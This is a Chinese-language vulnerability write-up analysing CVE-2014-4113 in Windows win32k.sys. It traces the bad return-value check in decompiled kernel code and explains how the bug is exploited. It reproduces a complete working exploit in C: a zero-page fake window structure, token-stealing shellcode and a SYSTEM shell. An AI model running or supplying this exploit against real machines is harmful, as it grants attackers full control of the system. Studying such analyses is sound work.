漏洞分析丨cve20144113

一、漏洞简述

Microsoft Windows下的 win32k.sys是Windows子系统的内核部分,是一个内核模式设备驱动程序,它包含有窗口管理器、后者控制窗口显示和管理屏幕输出等。如果Windows内核模式驱动程序不正确地处理内存中的对象,则存在一个特权提升漏洞。成功利用此漏洞的攻击者可以运行内核模式中的任意代码。攻击者随后可安装程序;查看、更改或删除数据;或者创建拥有完全管理权限的新帐户。其中CVE-2014-4113就是Win32k.sys中的一个漏洞,该漏洞的根本问题是函数xxxMNFindWindowFromPoint的返回值验证不正确。xxxMNFindWindowFromPoint函数执行后返回win32k!tagWND的地址结构或错误代码-1,-5。在该函数后面将调用函数xxxSendMessage,xxxSendMessage把xxxMNFindWindowFromPoint的返回值作为参数传递。当xxxMNFindWindowFromPoint返回win32k!tagWND地址的时候程序正常执行,但当返回-1,-5的时候传递给xxxSendMessage将造成蓝屏。

二、环境准备

系统版本

win7x86sp1

三、漏洞验证

这是一个提权漏洞,在GitHub上找的exp如下:

#include 
#include 
#define NT_SUCCESS(Status) (((NTSTATUS)(Status)) >= 0)

typedef NTSTATUS
(WINAPI* My_NtAllocateVirtualMemory)(
    IN HANDLE ProcessHandle,
    IN OUT PVOID* BaseAddress,
    IN ULONG ZeroBits,
    IN OUT PULONG RegionSize,
    IN ULONG AllocationType,
    IN ULONG Protect
    );

My_NtAllocateVirtualMemory NtAllocateVirtualMemory = NULL;

//Destroys the menu and then returns -5, this will be passed to xxxSendMessage which will then use it as a pointer.
LRESULT CALLBACK HookCallbackTwo(HWND hWnd, UINT Msg, WPARAM wParam, LPARAM lParam)
{
    printf("[+] Callback two called.\n");
    EndMenu();
    return -5;
}

LRESULT CALLBACK HookCallback(int code, WPARAM wParam, LPARAM lParam) {
    printf("[+] Callback one called.\n");
    /* lParam is a pointer to a CWPSTRUCT which is defined as:
    typedef struct tagCWPSTRUCT {
    LPARAM lParam;
    WPARAM wParam;
    UINT   message;
    HWND   hwnd;
    } CWPSTRUCT, *PCWPSTRUCT, *LPCWPSTRUCT;
    */
    //lparam+8 is the message sent to the window, here we are checking for the message which is sent to a window when the function xxxMNFindWindowFromPoint is called
    if (*(DWORD*)(lParam + 8) == 0x1EB) {
       if (UnhookWindowsHook(WH_CALLWNDPROC, HookCallback)) {
           //lparam+12 is a Window Handle pointing to the window - here we are setting its callback to be our second one
           SetWindowLongA(*(HWND*)(lParam + 12), GWLP_WNDPROC, (LONG)HookCallbackTwo);
       }
    }
    return CallNextHookEx(0, code, wParam, lParam);
}

/*
LRESULT WINAPI DefWindowProc(
_In_ HWND   hWnd,
_In_ UINT   Msg,
_In_ WPARAM wParam,
_In_ LPARAM lParam
);
hWnd => Handle of the Window the event was triggered on
Msg => Message, the event that has occurred, this could be that window has moved, has been minimized, clicked on etc
wParam, lParam => extra information depending on the msg recieved.
*/
LRESULT CALLBACK WndProc(HWND hwnd, UINT msg, WPARAM wParam, LPARAM lParam) {
    /*
    Wait until the window is idle and then send the messages needed to 'click' on the submenu to trigger the bug
    */
    printf("[+] WindProc called with message=%d\n", msg);
    if (msg == WM_ENTERIDLE) {
       PostMessageA(hwnd, WM_KEYDOWN, VK_DOWN, 0);
       PostMessageA(hwnd, WM_KEYDOWN, VK_RIGHT, 0);
       PostMessageA(hwnd, WM_LBUTTONDOWN, 0, 0);
    }
    //Just pass any other messages to the default window procedure
    return DefWindowProc(hwnd, msg, wParam, lParam);
}

VOID Poc()
{
    /*
typedef struct tagWNDCLASS {
UINT      style;
WNDPROC   lpfnWndProc;
int       cbClsExtra;
int       cbWndExtra;
HINSTANCE hInstance;
HICON     hIcon;
HCURSOR   hCursor;
HBRUSH    hbrBackground;
LPCTSTR   lpszMenuName;
LPCTSTR   lpszClassName;
} WNDCLASS, *PWNDCLASS;
We don't care about any of the style information but we set any needed values below.
*/
    WNDCLASSA wnd_class = { 0 };
    //Our custome WndProc handler, inspects any window messages before passing then onto the default handler
    wnd_class.lpfnWndProc = WndProc;
    //Returns a handle to the executable that has the name passed to it, passing NULL means it returns a handle to this executable
    wnd_class.hInstance = GetModuleHandle(NULL);
    //Random classname - we reference this later when creating a Window of this class
    wnd_class.lpszClassName = "abcde";

    //Registers the class in the global scope so it can be refered too later.
    ATOM tmp = RegisterClassA(&wnd_class);
    if (tmp == NULL) {
       printf("[+] Failed to register window class.\n");
       return;
    }

    /* Does what it says on the tin..
    HWND WINAPI CreateWindow(
    _In_opt_ LPCTSTR   lpClassName, => The name of the Window class to be created, in this case the class we just registered
    _In_opt_ LPCTSTR   lpWindowName, => The name to give the window, we don't need to give it a name.
    _In_     DWORD     dwStyle, => Style options for the window, here
    _In_     int       x, => x position to create the window,this time the left edge
    _In_     int       y, => y position to create the window, this time the top edge
    _In_     int       nWidth, => Width of the window to create, randomly chosen value
    _In_     int       nHeight, => Height of the to create, randomly chosen value
    _In_opt_ HWND      hWndParent, => A handle to the parent window, this is our only window so NULL
    _In_opt_ HMENU     hMenu, => A handle to a menu or sub window to attach to the window, we havent created any yet.
    _In_opt_ HINSTANCE hInstance, => A handle to the module the window should be associated with, for us this executable
    _In_opt_ LPVOID    lpParam => A pointer to data to be passed to the Window with the WM_CREATE message on creation, NULL for us as we don't wish to pass anything.
    );
    */
    HWND main_wnd = CreateWindowA(
       wnd_class.lpszClassName,
       "",
       WS_OVERLAPPEDWINDOW | WS_VISIBLE,
       0,
       0,
       640,
       480,
       NULL,
       NULL,
       wnd_class.hInstance,
       NULL);

    if (main_wnd == NULL) {
       printf("[+] Failed to create window instance.\n");
       return;
    }

    //Creates an empty popup menu
    HMENU MenuOne = CreatePopupMenu();

    if (MenuOne == NULL) {
       printf("[+] Failed to create popup menu one.\n");
       return;
    }

    /*Menu properties to apply to the empty menu we just created
    typedef struct tagMENUITEMINFO {
    UINT      cbSize;
    UINT      fMask;
    UINT      fType;
    UINT      fState;
    UINT      wID;
    HMENU     hSubMenu;
    HBITMAP   hbmpChecked;
    HBITMAP   hbmpUnchecked;
    ULONG_PTR dwItemData;
    LPTSTR    dwTypeData;
    UINT      cch;
    HBITMAP   hbmpItem;
    } MENUITEMINFO, *LPMENUITEMINFO;
    */
    MENUITEMINFOA MenuOneInfo = { 0 };
    //Default size
    MenuOneInfo.cbSize = sizeof(MENUITEMINFOA);
    //Selects what properties to retrieve or set when GetMenuItemInfo/SetMenuItemInfo are called, in this case only dwTypeData which the contents of the menu item.
    MenuOneInfo.fMask = MIIM_STRING;
    /*Inserts a new menu at the specified position
    BOOL WINAPI InsertMenuItem(
    _In_ HMENU           hMenu, => Handle to the menu the new item should be inserted into, in our case the empty menu we just created
    _In_ UINT            uItem, => it should item 0 in the menu
    _In_ BOOL            fByPosition, => Decided whether uItem is a position or an identifier, in this case its a position. If FALSE it makes uItem an identifier
    _In_ LPCMENUITEMINFO lpmii => A pointer to the MENUITEMINFO structure that contains the menu item details.
    );
    */
    BOOL insertMenuItem = InsertMenuItemA(MenuOne, 0, TRUE, &MenuOneInfo);

    if (!insertMenuItem) {
       printf("[+] Failed to insert popup menu one.\n");
       DestroyMenu(MenuOne);
       return;
    }

    HMENU MenuTwo = CreatePopupMenu();

    if (MenuTwo == NULL) {
       printf("[+] Failed to create menu two.\n");
       DestroyMenu(MenuOne);
       return;
    }

    MENUITEMINFOA MenuTwoInfo = { 0 };
    MenuTwoInfo.cbSize = sizeof(MENUITEMINFOA);
    //On this window hSubMenu should be included in Get/SetMenuItemInfo
    MenuTwoInfo.fMask = (MIIM_STRING | MIIM_SUBMENU);
    //The menu is a sub menu of the first menu
    MenuTwoInfo.hSubMenu = MenuOne;
    //The contents of the menu item - in this case nothing
    MenuTwoInfo.dwTypeData = (LPSTR)"";
    //The length of the menu item text - in the case 1 for just a single NULL byte
    MenuTwoInfo.cch = 1;
    insertMenuItem = InsertMenuItemA(MenuTwo, 0, TRUE, &MenuTwoInfo);

    if (!insertMenuItem) {
       printf("[+] Failed to insert second pop-up menu.\n");
       DestroyMenu(MenuOne);
       DestroyMenu(MenuTwo);
       return;
    }

    /*
    HHOOK WINAPI SetWindowsHookEx(
    _In_ int       idHook, => The type of hook we want to create, in this case WH_CALLWNDPROC which means that the callback will be passed any window messages before the system sends them to the destination window procedure.
    _In_ HOOKPROC  lpfn, => The callback that should be called when triggered
    _In_ HINSTANCE hMod, => If the hook functions is in a dll we pass a handle to the dll here, not needed in this case.
    _In_ DWORD     dwThreadId => The thread which the callback should be triggered in, we want it to be our current thread.
    );
    */
    HHOOK setWindowsHook = SetWindowsHookExA(
       WH_CALLWNDPROC,
       HookCallback,
       NULL,
       GetCurrentThreadId()
    );

    if (setWindowsHook == NULL) {
       printf("[+] Failed to insert call back one.\n");
       DestroyMenu(MenuOne);
       DestroyMenu(MenuTwo);
       return;
    }

    /* Displays a menu and tracks interactions with it.
    BOOL WINAPI TrackPopupMenu(
    _In_           HMENU hMenu,
    _In_           UINT  uFlags,
    _In_           int   x,
    _In_           int   y,
    _In_           int   nReserved,
    _In_           HWND  hWnd,
    _In_opt_ const RECT  *prcRect
    );
    */
    TrackPopupMenu(
       MenuTwo, //Handle to the menu we want to display, for us its the submenu we just created.
       0,     //Options on how the menu is aligned, what clicks are allowed etc, we don't care.
       0,     //Horizontal position - left hand side
       0,     //Vertical position - Top edge
       0,     //Reserved field, has to be 0
       main_wnd,//Handle to the Window which owns the menu
       NULL   //This value is always ignored...
    );

    DestroyWindow(main_wnd);
}

int __stdcall ShellCode(int parameter1, int parameter2, int parameter3, int parameter4)
{
    _asm
    {
       pushad
       mov eax, fs: [124h]      // Find the _KTHREAD structure for the current thread
       mov eax, [eax + 0x50]   // Find the _EPROCESS structure
       mov ecx, eax
       mov edx, 4           // edx = system PID(4)

       // The loop is to get the _EPROCESS of the system
       find_sys_pid :
       mov eax, [eax + 0xb8] // Find the process activity list
       sub eax, 0xb8        // List traversal
       cmp[eax + 0xb4], edx    // Determine whether it is SYSTEM based on PID
       jnz find_sys_pid

       // Replace the Token
       mov edx, [eax + 0xf8]
       mov[ecx + 0xf8], edx
       popad
    }
    return 0;
}


static VOID CreateCmd()
{
    STARTUPINFO si = { sizeof(si) };
    PROCESS_INFORMATION pi = { 0 };
    si.dwFlags = STARTF_USESHOWWINDOW;
    si.wShowWindow = SW_SHOW;
    WCHAR wzFilePath[MAX_PATH] = { L"cmd.exe" };
    BOOL bReturn = CreateProcessW(NULL, wzFilePath, NULL, NULL, FALSE, CREATE_NEW_CONSOLE, NULL, NULL, (LPSTARTUPINFOW)&si, &pi);
    if (bReturn) CloseHandle(pi.hThread), CloseHandle(pi.hProcess);
}

DWORD __stdcall  ptiCurrent()
{
    __asm {
       mov eax, fs:18h      //eax pointer to TEB
       mov eax, [eax + 40h] //get pointer to Win32ThreadInfo
    }
}

VOID init()
{
    *(FARPROC*)&NtAllocateVirtualMemory = GetProcAddress(
       GetModuleHandleW(L"ntdll"),
       "NtAllocateVirtualMemory");

    if (NtAllocateVirtualMemory == NULL)
    {
       printf("[+] Failed to get function NtAllocateVirtualMemory!!!\n");
       system("pause");
       return;
    }

    PVOID Zero_addr = (PVOID)1;
    SIZE_T RegionSize = 0x1000;

    printf("[+] Started to alloc zero page...\n");
    if (!NT_SUCCESS(NtAllocateVirtualMemory(
       INVALID_HANDLE_VALUE,
       &Zero_addr,
       0,
       &RegionSize,
       MEM_COMMIT | MEM_RESERVE,
       PAGE_READWRITE)) || Zero_addr != NULL)
    {
       printf("[+] Failed to alloc zero page!\n");
       system("pause");
       return;
    }

    printf("[+] Success to alloc zero page...\n");

    *(DWORD*)(0x3) = (DWORD)ptiCurrent();
    *(DWORD*)(0x11) = (DWORD)4;
    *(DWORD*)(0x5b) = (DWORD)&ShellCode;

}

int main()
{
    init();

    Poc();

    CreateCmd();

    system("pause");

    return 0;
}

在VS中生成,拖入虚拟机中,首先普通模式打开cmd,查看权限:

 

接下来运行exp:

 

 


可以看到已经是系统权限了。

四、漏洞分析

从POC开始分析吧,代码如下:

#include 
#include 

//Destroys the menu and then returns -5, this will be passed to xxxSendMessage which will then use it as a pointer.
LRESULT CALLBACK HookCallbackTwo(HWND hWnd, UINT Msg, WPARAM wParam, LPARAM lParam)
{
    printf("[+] Callback two called.\n");
    EndMenu();
    return -5;
}

LRESULT CALLBACK HookCallback(int code, WPARAM wParam, LPARAM lParam) {
    printf("[+] Callback one called.\n");
    /* lParam is a pointer to a CWPSTRUCT which is defined as:
    typedef struct tagCWPSTRUCT {
    LPARAM lParam;
    WPARAM wParam;
    UINT   message;
    HWND   hwnd;
    } CWPSTRUCT, *PCWPSTRUCT, *LPCWPSTRUCT;
    */
    //lparam+8 is the message sent to the window, here we are checking for the message which is sent to a window when the function xxxMNFindWindowFromPoint is called
    if (*(DWORD*)(lParam + 8) == 0x1EB) {
       if (UnhookWindowsHook(WH_CALLWNDPROC, HookCallback)) {
           //lparam+12 is a Window Handle pointing to the window - here we are setting its callback to be our second one
           SetWindowLongA(*(HWND*)(lParam + 12), GWLP_WNDPROC, (LONG)HookCallbackTwo);
       }
    }
    return CallNextHookEx(0, code, wParam, lParam);
}

/*
LRESULT WINAPI DefWindowProc(
_In_ HWND   hWnd,
_In_ UINT   Msg,
_In_ WPARAM wParam,
_In_ LPARAM lParam
);
hWnd => Handle of the Window the event was triggered on
Msg => Message, the event that has occurred, this could be that window has moved, has been minimized, clicked on etc
wParam, lParam => extra information depending on the msg recieved.
*/
LRESULT CALLBACK WndProc(HWND hwnd, UINT msg, WPARAM wParam, LPARAM lParam) {
    /*
    Wait until the window is idle and then send the messages needed to 'click' on the submenu to trigger the bug
    */
    printf("[+] WindProc called with message=%d\n", msg);
    if (msg == WM_ENTERIDLE) {
       PostMessageA(hwnd, WM_KEYDOWN, VK_DOWN, 0);
       PostMessageA(hwnd, WM_KEYDOWN, VK_RIGHT, 0);
       PostMessageA(hwnd, WM_LBUTTONDOWN, 0, 0);
    }
    //Just pass any other messages to the default window procedure
    return DefWindowProc(hwnd, msg, wParam, lParam);
}

VOID Poc()
{
    /*
typedef struct tagWNDCLASS {
UINT      style;
WNDPROC   lpfnWndProc;
int       cbClsExtra;
int       cbWndExtra;
HINSTANCE hInstance;
HICON     hIcon;
HCURSOR   hCursor;
HBRUSH    hbrBackground;
LPCTSTR   lpszMenuName;
LPCTSTR   lpszClassName;
} WNDCLASS, *PWNDCLASS;
We don't care about any of the style information but we set any needed values below.
*/
    WNDCLASSA wnd_class = { 0 };
    //Our custome WndProc handler, inspects any window messages before passing then onto the default handler
    wnd_class.lpfnWndProc = WndProc;
    //Returns a handle to the executable that has the name passed to it, passing NULL means it returns a handle to this executable
    wnd_class.hInstance = GetModuleHandle(NULL);
    //Random classname - we reference this later when creating a Window of this class
    wnd_class.lpszClassName = "abcde";

    //Registers the class in the global scope so it can be refered too later.
    ATOM tmp = RegisterClassA(&wnd_class);
    if (tmp == NULL) {
       printf("[+] Failed to register window class.\n");
       return;
    }

    /* Does what it says on the tin..
    HWND WINAPI CreateWindow(
    _In_opt_ LPCTSTR   lpClassName, => The name of the Window class to be created, in this case the class we just registered
    _In_opt_ LPCTSTR   lpWindowName, => The name to give the window, we don't need to give it a name.
    _In_     DWORD     dwStyle, => Style options for the window, here
    _In_     int       x, => x position to create the window,this time the left edge
    _In_     int       y, => y position to create the window, this time the top edge
    _In_     int       nWidth, => Width of the window to create, randomly chosen value
    _In_     int       nHeight, => Height of the to create, randomly chosen value
    _In_opt_ HWND      hWndParent, => A handle to the parent window, this is our only window so NULL
    _In_opt_ HMENU     hMenu, => A handle to a menu or sub window to attach to the window, we havent created any yet.
    _In_opt_ HINSTANCE hInstance, => A handle to the module the window should be associated with, for us this executable
    _In_opt_ LPVOID    lpParam => A pointer to data to be passed to the Window with the WM_CREATE message on creation, NULL for us as we don't wish to pass anything.
    );
    */
    HWND main_wnd = CreateWindowA(
       wnd_class.lpszClassName,
       "",
       WS_OVERLAPPEDWINDOW | WS_VISIBLE,
       0,
       0,
       640,
       480,
       NULL,
       NULL,
       wnd_class.hInstance,
       NULL);

    if (main_wnd == NULL) {
       printf("[+] Failed to create window instance.\n");
       return;
    }

    //Creates an empty popup menu
    HMENU MenuOne = CreatePopupMenu();

    if (MenuOne == NULL) {
       printf("[+] Failed to create popup menu one.\n");
       return;
    }

    /*Menu properties to apply to the empty menu we just created
    typedef struct tagMENUITEMINFO {
    UINT      cbSize;
    UINT      fMask;
    UINT      fType;
    UINT      fState;
    UINT      wID;
    HMENU     hSubMenu;
    HBITMAP   hbmpChecked;
    HBITMAP   hbmpUnchecked;
    ULONG_PTR dwItemData;
    LPTSTR    dwTypeData;
    UINT      cch;
    HBITMAP   hbmpItem;
    } MENUITEMINFO, *LPMENUITEMINFO;
    */
    MENUITEMINFOA MenuOneInfo = { 0 };
    //Default size
    MenuOneInfo.cbSize = sizeof(MENUITEMINFOA);
    //Selects what properties to retrieve or set when GetMenuItemInfo/SetMenuItemInfo are called, in this case only dwTypeData which the contents of the menu item.
    MenuOneInfo.fMask = MIIM_STRING;
    /*Inserts a new menu at the specified position
    BOOL WINAPI InsertMenuItem(
    _In_ HMENU           hMenu, => Handle to the menu the new item should be inserted into, in our case the empty menu we just created
    _In_ UINT            uItem, => it should item 0 in the menu
    _In_ BOOL            fByPosition, => Decided whether uItem is a position or an identifier, in this case its a position. If FALSE it makes uItem an identifier
    _In_ LPCMENUITEMINFO lpmii => A pointer to the MENUITEMINFO structure that contains the menu item details.
    );
    */
    BOOL insertMenuItem = InsertMenuItemA(MenuOne, 0, TRUE, &MenuOneInfo);

    if (!insertMenuItem) {
       printf("[+] Failed to insert popup menu one.\n");
       DestroyMenu(MenuOne);
       return;
    }

    HMENU MenuTwo = CreatePopupMenu();

    if (MenuTwo == NULL) {
       printf("[+] Failed to create menu two.\n");
       DestroyMenu(MenuOne);
       return;
    }

    MENUITEMINFOA MenuTwoInfo = { 0 };
    MenuTwoInfo.cbSize = sizeof(MENUITEMINFOA);
    //On this window hSubMenu should be included in Get/SetMenuItemInfo
    MenuTwoInfo.fMask = (MIIM_STRING | MIIM_SUBMENU);
    //The menu is a sub menu of the first menu
    MenuTwoInfo.hSubMenu = MenuOne;
    //The contents of the menu item - in this case nothing
    MenuTwoInfo.dwTypeData = (LPSTR)"";
    //The length of the menu item text - in the case 1 for just a single NULL byte
    MenuTwoInfo.cch = 1;
    insertMenuItem = InsertMenuItemA(MenuTwo, 0, TRUE, &MenuTwoInfo);

    if (!insertMenuItem) {
       printf("[+] Failed to insert second pop-up menu.\n");
       DestroyMenu(MenuOne);
       DestroyMenu(MenuTwo);
       return;
    }

    /*
    HHOOK WINAPI SetWindowsHookEx(
    _In_ int       idHook, => The type of hook we want to create, in this case WH_CALLWNDPROC which means that the callback will be passed any window messages before the system sends them to the destination window procedure.
    _In_ HOOKPROC  lpfn, => The callback that should be called when triggered
    _In_ HINSTANCE hMod, => If the hook functions is in a dll we pass a handle to the dll here, not needed in this case.
    _In_ DWORD     dwThreadId => The thread which the callback should be triggered in, we want it to be our current thread.
    );
    */
    HHOOK setWindowsHook = SetWindowsHookExA(
       WH_CALLWNDPROC,
       HookCallback,
       NULL,
       GetCurrentThreadId()
    );

    if (setWindowsHook == NULL) {
       printf("[+] Failed to insert call back one.\n");
       DestroyMenu(MenuOne);
       DestroyMenu(MenuTwo);
       return;
    }

    /* Displays a menu and tracks interactions with it.
    BOOL WINAPI TrackPopupMenu(
    _In_           HMENU hMenu,
    _In_           UINT  uFlags,
    _In_           int   x,
    _In_           int   y,
    _In_           int   nReserved,
    _In_           HWND  hWnd,
    _In_opt_ const RECT  *prcRect
    );
    */
    TrackPopupMenu(
       MenuTwo, //Handle to the menu we want to display, for us its the submenu we just created.
       0,     //Options on how the menu is aligned, what clicks are allowed etc, we don't care.
       0,     //Horizontal position - left hand side
       0,     //Vertical position - Top edge
       0,     //Reserved field, has to be 0
       main_wnd,//Handle to the Window which owns the menu
       NULL   //This value is always ignored...
    );
}

int main()
{
    Poc();
    return 0;
}

编译成exe拖入虚拟机运行,打开双击调试:

漏洞分析丨cve20144113_第1张图片

 

卡在这里,看箭头位置:

漏洞分析丨cve20144113_第2张图片

 

可以看到esi的值是传入的参数,上层函数是xxxSendMessage,参数同样是fffffffb:

漏洞分析丨cve20144113_第3张图片

 

直接在win32k.sys追xxxHandleMenuMessages,当然记得加载符号文件:

漏洞分析丨cve20144113_第4张图片

 

通过xxxHandleMenuMessages+0x582的地址,F5到此处:

漏洞分析丨cve20144113_第5张图片

 

LABEL_13:
            v12 = a2;
            *(_DWORD *)(a2 + 16) = -1;
            *(_DWORD *)(a2 + 8) = (signed __int16)v7;
            *(_DWORD *)(a2 + 12) = SHIWORD(v7);
            v13 = xxxMNFindWindowFromPoint((WCHAR)v3, (int)&UnicodeString, v7);
            v52 = IsMFMWFPWindow(v13);
            if ( v52 )
            {
              v46 = *((_DWORD *)gptiCurrent + 45);
              *((_DWORD *)gptiCurrent + 45) = &v46;
              v47 = v13;
              if ( v13 )
                ++*(_DWORD *)(v13 + 4);
            }
            if ( *(_DWORD *)(v12 + 4) & 0x400 )
            {
              *(_DWORD *)(v12 + 36) = *(_DWORD *)(v12 + 8);
              *(_DWORD *)(v12 + 40) = *(_DWORD *)(v12 + 12);
              *(_DWORD *)(v12 + 48) = UnicodeString;
              LockMFMWFPWindow(v12 + 44, v13);
            }
            if ( *(_DWORD *)(v12 + 4) & 0x500 )
              *(_DWORD *)(v12 + 52) = ((v50 & 2) != 0) + 1;
            if ( !v13 && !UnicodeString )
              goto LABEL_22;
            if ( *(_BYTE *)v3 & 2 && v13 == -5 )
            {
              xxxMNSwitchToAlternateMenu(v3);
              v13 = -1;
            }
            if ( v13 == -1 )
              xxxMNButtonDown(v3, v12, UnicodeString, 1);
            else
              xxxSendMessage((PVOID)v13, -19, UnicodeString, 0);
            if ( !(*(_DWORD *)(v12 + 4) & 0x100) )
              xxxMNRemoveMessage(*(_DWORD *)(a1 + 4), 516);

可以看到esi的值主要来源于 v13 = xxxMNFindWindowFromPoint((WCHAR)v3, (int)&UnicodeString, v7);
v52 = IsMFMWFPWindow(v13):此函数判断值是否是-5和-1,不是的话返回1:

BOOL __stdcall IsMFMWFPWindow(int a1)
{
  return a1 && a1 != -5 && a1 != -1;
}

而如果要执行xxxSendMessage这个函数,就需要让v13的值等于-5(FFFFFFFB),我们看xxxMNFindWindowFromPoint这个函数:

漏洞分析丨cve20144113_第6张图片

 

这里反编译有问题,直接看汇编:

 

这里判断呢,就是发送消息是1ED这里,然后判断是不是-1或者-5就跳过if,所以这里需要跳过if,否则返回值会重新赋值,然后-1的话触发不了漏洞,只能-5,也就是HOOK这里,让这个返回值-5,触发漏洞。
接下来根据POC简单梳理一下过程:
调用了TrackPopupMenu函数触发漏洞,然后调用内核函数win32k!xxxTrackPopupMenuEx,最后调用最终会调用win32k! xxxMNLoop函数,然后就跟进win32k!xxxHandleMenuMessages函数,随后就是我们分析的情况。触发漏洞需要让xxxMNFindWindowFromPoint返回值=-5;

五、漏洞利用

在POC中,对于消息号为0x1EB的消息,HOOK函数返回了0xFFFFFFFB,而程序把该值作为win32k!tagWND结构处理,导致后边把0xFFFFFFFB作为win32k!ptagWND结构传给win32k! xxxSendMessage。在win32k! xxxSendMessage中会调用win32k!xxxSendMessageTimeout,在win32k!xxxSendMessageTimeout中当把0xFFFFFFFB作为win32k!tagWND结构处理时,会调用ptagWND+0x60处的函数,也就是call [0xFFFFFFB+0x60],在xxxSendMessageTimeout中,即call [0x5B]。
如果在0x5B位置布置shellcode,就可以完成漏洞利用,下面还要注意一个点,是xxxSendMessageTimeout函数内部的俩个验证,所以我们需要布局0x3,0x11位置:

漏洞分析丨cve20144113_第7张图片

通过函数ZwAllocateVirtualMemory申请0页内存空间,在该空间建立一个畸形的win32k!tagWND结构的映射页,使得在内核能正确地验证。并将shellcode地址布置在0x5B。而shellcode就是创建cmd,把进程Token换成system的Token值。至于钩子为什么使用SetWindowLongA设置了一次窗口函数,因为只有在窗口处理函数线程的上下文空间中调用EndMenu函数才有意义。补充一点exp调用sendMessage函数是分同步异步,这里不再多说,可以看这里:https://www.anquanke.com/post/id/84869

 

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